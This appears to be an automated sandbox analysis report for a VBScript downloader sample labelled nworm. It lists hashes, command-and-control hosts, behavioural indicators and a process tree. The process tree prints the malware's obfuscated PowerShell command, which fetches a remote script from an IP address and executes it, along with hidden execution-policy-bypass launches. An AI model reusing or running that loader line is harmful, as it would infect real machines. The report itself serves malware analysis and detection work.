nworm | 1b956ea6626165956ea897d431801376e7189f96e149de1b2ee2fed6944a38b2

Analysis

max time kernel
152s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-en-20220112
submitted
22-02-2022 19:06

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

EncKAO.vbs
Size

3KB
MD5

fa584c2b021aed55aff0c764aee1cff0
SHA1

327e83c2886c42896804ab87ca6996cb621e9b71
SHA256

1b956ea6626165956ea897d431801376e7189f96e149de1b2ee2fed6944a38b2
SHA512

a3db7960aa642cd61f499bda0f5892d2b7f939a65252842651472e963ca24ae9ebc7e51cb95e5c424b5dc8b0316333268edb902bb1be713621e4e11c5ecbe18e

Score

10^/10

nworm downloader worm

Malware Config

Extracted

Family

nworm

Version

v0.3.8

nyanmoj.duckdns.org:5057

moneyhope81.duckdns.org:5057

Mutex

cb2d3cba

Signatures

NWorm
A TrickBot module used to propagate to vulnerable domain controllers.
worm downloader nworm

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2108	3252	cmd.exe	68

Blocklisted process makes network request 1 IoCs

flow	pid	Process
29	1964	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1020 set thread context of 384	1020	powershell.exe	80

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1964	powershell.exe
1964	powershell.exe
3448	powershell.exe
3448	powershell.exe
1020	powershell.exe
1020	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1964	powershell.exe
Token: SeDebugPrivilege	3448	powershell.exe
Token: SeDebugPrivilege	1020	powershell.exe
Token: SeIncreaseQuotaPrivilege	3448	powershell.exe
Token: SeSecurityPrivilege	3448	powershell.exe
Token: SeTakeOwnershipPrivilege	3448	powershell.exe
Token: SeLoadDriverPrivilege	3448	powershell.exe
Token: SeSystemProfilePrivilege	3448	powershell.exe
Token: SeSystemtimePrivilege	3448	powershell.exe
Token: SeProfSingleProcessPrivilege	3448	powershell.exe
Token: SeIncBasePriorityPrivilege	3448	powershell.exe
Token: SeCreatePagefilePrivilege	3448	powershell.exe
Token: SeBackupPrivilege	3448	powershell.exe
Token: SeRestorePrivilege	3448	powershell.exe
Token: SeShutdownPrivilege	3448	powershell.exe
Token: SeDebugPrivilege	3448	powershell.exe
Token: SeSystemEnvironmentPrivilege	3448	powershell.exe
Token: SeRemoteShutdownPrivilege	3448	powershell.exe
Token: SeUndockPrivilege	3448	powershell.exe
Token: SeManageVolumePrivilege	3448	powershell.exe
Token: 33	3448	powershell.exe
Token: 34	3448	powershell.exe
Token: 35	3448	powershell.exe
Token: 36	3448	powershell.exe
Token: SeIncreaseQuotaPrivilege	3448	powershell.exe
Token: SeSecurityPrivilege	3448	powershell.exe
Token: SeTakeOwnershipPrivilege	3448	powershell.exe
Token: SeLoadDriverPrivilege	3448	powershell.exe
Token: SeSystemProfilePrivilege	3448	powershell.exe
Token: SeSystemtimePrivilege	3448	powershell.exe
Token: SeProfSingleProcessPrivilege	3448	powershell.exe
Token: SeIncBasePriorityPrivilege	3448	powershell.exe
Token: SeCreatePagefilePrivilege	3448	powershell.exe
Token: SeBackupPrivilege	3448	powershell.exe
Token: SeRestorePrivilege	3448	powershell.exe
Token: SeShutdownPrivilege	3448	powershell.exe
Token: SeDebugPrivilege	3448	powershell.exe
Token: SeSystemEnvironmentPrivilege	3448	powershell.exe
Token: SeRemoteShutdownPrivilege	3448	powershell.exe
Token: SeUndockPrivilege	3448	powershell.exe
Token: SeManageVolumePrivilege	3448	powershell.exe
Token: 33	3448	powershell.exe
Token: 34	3448	powershell.exe
Token: 35	3448	powershell.exe
Token: 36	3448	powershell.exe
Token: SeIncreaseQuotaPrivilege	3448	powershell.exe
Token: SeSecurityPrivilege	3448	powershell.exe
Token: SeTakeOwnershipPrivilege	3448	powershell.exe
Token: SeLoadDriverPrivilege	3448	powershell.exe
Token: SeSystemProfilePrivilege	3448	powershell.exe
Token: SeSystemtimePrivilege	3448	powershell.exe
Token: SeProfSingleProcessPrivilege	3448	powershell.exe
Token: SeIncBasePriorityPrivilege	3448	powershell.exe
Token: SeCreatePagefilePrivilege	3448	powershell.exe
Token: SeBackupPrivilege	3448	powershell.exe
Token: SeRestorePrivilege	3448	powershell.exe
Token: SeShutdownPrivilege	3448	powershell.exe
Token: SeDebugPrivilege	3448	powershell.exe
Token: SeSystemEnvironmentPrivilege	3448	powershell.exe
Token: SeRemoteShutdownPrivilege	3448	powershell.exe
Token: SeUndockPrivilege	3448	powershell.exe
Token: SeManageVolumePrivilege	3448	powershell.exe
Token: 33	3448	powershell.exe
Token: 34	3448	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 372 wrote to memory of 1964	372	WScript.exe	56
PID 372 wrote to memory of 1964	372	WScript.exe	56
PID 1964 wrote to memory of 3448	1964	powershell.exe	72
PID 1964 wrote to memory of 3448	1964	powershell.exe	72
PID 3448 wrote to memory of 384	3448	powershell.exe	73
PID 3448 wrote to memory of 384	3448	powershell.exe	73
PID 2108 wrote to memory of 3960	2108	cmd.exe	78
PID 2108 wrote to memory of 3960	2108	cmd.exe	78
PID 3960 wrote to memory of 1020	3960	cmd.exe	79
PID 3960 wrote to memory of 1020	3960	cmd.exe	79
PID 1020 wrote to memory of 384	1020	powershell.exe	80
PID 1020 wrote to memory of 384	1020	powershell.exe	80
PID 1020 wrote to memory of 384	1020	powershell.exe	80
PID 1020 wrote to memory of 384	1020	powershell.exe	80
PID 1020 wrote to memory of 384	1020	powershell.exe	80
PID 1020 wrote to memory of 384	1020	powershell.exe	80
PID 1020 wrote to memory of 384	1020	powershell.exe	80
PID 1020 wrote to memory of 384	1020	powershell.exe	80

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\EncKAO.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $HCNPXUQJCLATJSNVPNHGASK = '[*4@!-95&[27011]{{<!4(}y*4@!-95&[27011]{{<!4(}t3{{!{39=335@-#%2^${![292#\&3/-4=3%^]+\@8_#2}.IO.*4@!-95&[27011]{{<!4(}t()&/@+/6!@3=1*&#^285<53{{!{39=335@-#%2^${![25_8%0=^\09<276{[=(-\-{92#\&3/-4=3%^]+\@8_#2}()&/@+/6!@3=1*&#^285<53{{!{39=335@-#%2^${![25_8%0=^\09<276{[=(-\-{d3{{!{39=335@-#%2^${![2()&/@+/6!@3=1*&#^285<5]'.Replace('*4@!-95&[27011]{{<!4(}','S').Replace('3{{!{39=335@-#%2^${![2','E').Replace('()&/@+/6!@3=1*&#^285<5','R').Replace('5_8%0=^\09<276{[=(-\-{','A').Replace('92#\&3/-4=3%^]+\@8_#2}','M');$HWBPFQSKIJPSNVWGRPDVWTQ = ($HCNPXUQJCLATJSNVPNHGASK -Join '')|&('I'+'EX');$HVVGCGZUOWJPPVKKFNXPRYX = '[-<@!(_!_@2#@@73#6#<*68y-<@!(_!_@2#@@73#6#<*6834^%[/28$^_^1)_+%&$}{2/=+\6{8&8!=%9$&6%0#$!1m.N/=+\6{8&8!=%9$&6%0#$!134^%[/28$^_^1)_+%&$}{2.W/=+\6{8&8!=%9$&6%0#$!1bR/=+\6{8&8!=%9$&6%0#$!1qu/=+\6{8&8!=%9$&6%0#$!1-<@!(_!_@2#@@73#6#<*6834^%[/28$^_^1)_+%&$}{2]'.Replace('-<@!(_!_@2#@@73#6#<*68','S').Replace('/=+\6{8&8!=%9$&6%0#$!1','E').Replace('34^%[/28$^_^1)_+%&$}{2','T');$HZSWCZCRBXDIWQKWTESQTIY = ($HVVGCGZUOWJPPVKKFNXPRYX -Join '')|&('I'+'EX');$HFJRRSZDESQZWRCXANLTRDS = '\=)9&+81%{23</-^[/=-[6r7-{)&9)1(!_(2]+86%-(=5a+8#6&}]%/5}-^]%]5<#$7+7-{)&9)1(!_(2]+86%-(=5'.Replace('\=)9&+81%{23</-^[/=-[6','C').Replace('7-{)&9)1(!_(2]+86%-(=5','E').Replace('+8#6&}]%/5}-^]%]5<#$7+','T');$HWCLNHXSDRQHGEGSDTPUANI = '$#][}(-9<9$33&7@-{54#^-0@}{9!{69/<}19_19+_5&tR-0@}{9!{69/<}19_19+_5&0$}\+-8(030\)(%<}^/736pon0$}\+-8(030\)(%<}^/736-0@}{9!{69/<}19_19+_5&'.Replace('$#][}(-9<9$33&7@-{54#^','G').Replace('-0@}{9!{69/<}19_19+_5&','E').Replace('0$}\+-8(030\)(%<}^/736','S');$HUNOTPOSFQRHVLUSSYXPQCA = 'G_]@_61$7+/%50=7%)5}$+*t(#(&<<]#_^68#}}%]-#61#_]@_61$7+/%50=7%)5}$+*43=743-[#=!81/<[(**(<[pon43=743-[#=!81/<[(**(<[_]@_61$7+/%50=7%)5}$+*43=743-[#=!81/<[(**(<[t(#(&<<]#_^68#}}%]-#61#_]@_61$7+/%50=7%)5}$+*am'.Replace('43=743-[#=!81/<[(**(<[','S').Replace('_]@_61$7+/%50=7%)5}$+*','E').Replace('(#(&<<]#_^68#}}%]-#61#','R');$HHGZUQOYZVBAZGKFOKONHQP = '{[)9)4\#-&640<2_1%000//30#)6832^&7)=]=!{%8-_a20&[#8=\]=4}\*/8^-5_^+To/30#)6832^&7)=]=!{%8-_n20&[#8=\]=4}\*/8^-5_^+'.Replace('{[)9)4\#-&640<2_1%000/','R').Replace('/30#)6832^&7)=]=!{%8-_','E').Replace('20&[#8=\]=4}\*/8^-5_^+','D');&('I'+'EX')($HWBPFQSKIJPSNVWGRPDVWTQ::new($HZSWCZCRBXDIWQKWTESQTIY::$HFJRRSZDESQZWRCXANLTRDS('HttP://3.145.46.6/K/ServerFAH.txt').$HWCLNHXSDRQHGEGSDTPUANI().$HUNOTPOSFQRHVLUSSYXPQCA()).$HHGZUQOYZVBAZGKFOKONHQP())
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1964
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoE -Nop -NonI -WIndoWSTYLe HiDdeN -ExecutionPolicy Bypass -file C:\ProgramData\LZAVOBYIRFWZQZVCTGHPQB\LZAVOBYIRFWZQZVCTGHPQB.ps1
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3448
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\ProgramData\LZAVOBYIRFWZQZVCTGHPQB\LZAVOBYIRFWZQZVCTGHPQB.vbs"
      4⤵
      PID:384

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\ProgramData\LZAVOBYIRFWZQZVCTGHPQB\LZAVOBYIRFWZQZVCTGHPQB.bat
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2108
- C:\Windows\system32\cmd.exe
  cMd.E"x"e /c =PoWerShelL"."eXe -noe -nop -nonI -WIndoWSTYLe Hidden -executionPolicy Bypass -file C:\ProgramData\LZAVOBYIRFWZQZVCTGHPQB\WZQNBDSLVGAWPUXJRUVDYE.ps1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3960
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    PoWerShelL"."eXe -noe -nop -nonI -WIndoWSTYLe Hidden -executionPolicy Bypass -file C:\ProgramData\LZAVOBYIRFWZQZVCTGHPQB\WZQNBDSLVGAWPUXJRUVDYE.ps1
    3⤵
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1020
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
      4⤵
      PID:384

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/384-173-0x0000000005910000-0x0000000005976000-memory.dmp

Filesize
408KB

Download
memory/384-172-0x0000000005E50000-0x00000000063F4000-memory.dmp

Filesize
5.6MB

Download
memory/384-171-0x0000000005800000-0x000000000589C000-memory.dmp

Filesize
624KB

Download
memory/384-170-0x0000000005390000-0x0000000005391000-memory.dmp

Filesize
4KB

Download
memory/384-169-0x0000000074AFE000-0x0000000074AFF000-memory.dmp

Filesize
4KB

Download
memory/384-166-0x0000000000400000-0x000000000040A000-memory.dmp

Filesize
40KB

Download
memory/1020-159-0x0000025EC44E0000-0x0000025EC44E2000-memory.dmp

Filesize
8KB

Download
memory/1020-165-0x0000025EC4450000-0x0000025EC446A000-memory.dmp

Filesize
104KB

Download
memory/1020-164-0x0000025EC44E6000-0x0000025EC44E8000-memory.dmp

Filesize
8KB

Download
memory/1020-158-0x00007FFAB04E3000-0x00007FFAB04E5000-memory.dmp

Filesize
8KB

Download
memory/1020-160-0x0000025EC44E3000-0x0000025EC44E5000-memory.dmp

Filesize
8KB

Download
memory/1964-134-0x000001CEEBB40000-0x000001CEEBB62000-memory.dmp

Filesize
136KB

Download
memory/1964-140-0x000001CEED686000-0x000001CEED688000-memory.dmp

Filesize
8KB

Download
memory/1964-139-0x000001CEED683000-0x000001CEED685000-memory.dmp

Filesize
8KB

Download
memory/1964-138-0x000001CEED680000-0x000001CEED682000-memory.dmp

Filesize
8KB

Download
memory/1964-137-0x00007FFAB04E3000-0x00007FFAB04E5000-memory.dmp

Filesize
8KB

Download
memory/3448-147-0x0000028858690000-0x0000028858692000-memory.dmp

Filesize
8KB

Download
memory/3448-146-0x00007FFAB04E3000-0x00007FFAB04E5000-memory.dmp

Filesize
8KB

Download
memory/3448-148-0x0000028858693000-0x0000028858695000-memory.dmp

Filesize
8KB

Download
memory/3448-168-0x0000028858698000-0x000002885869A000-memory.dmp

Filesize
8KB

Download
memory/3448-149-0x0000028858696000-0x0000028858698000-memory.dmp

Filesize
8KB

Download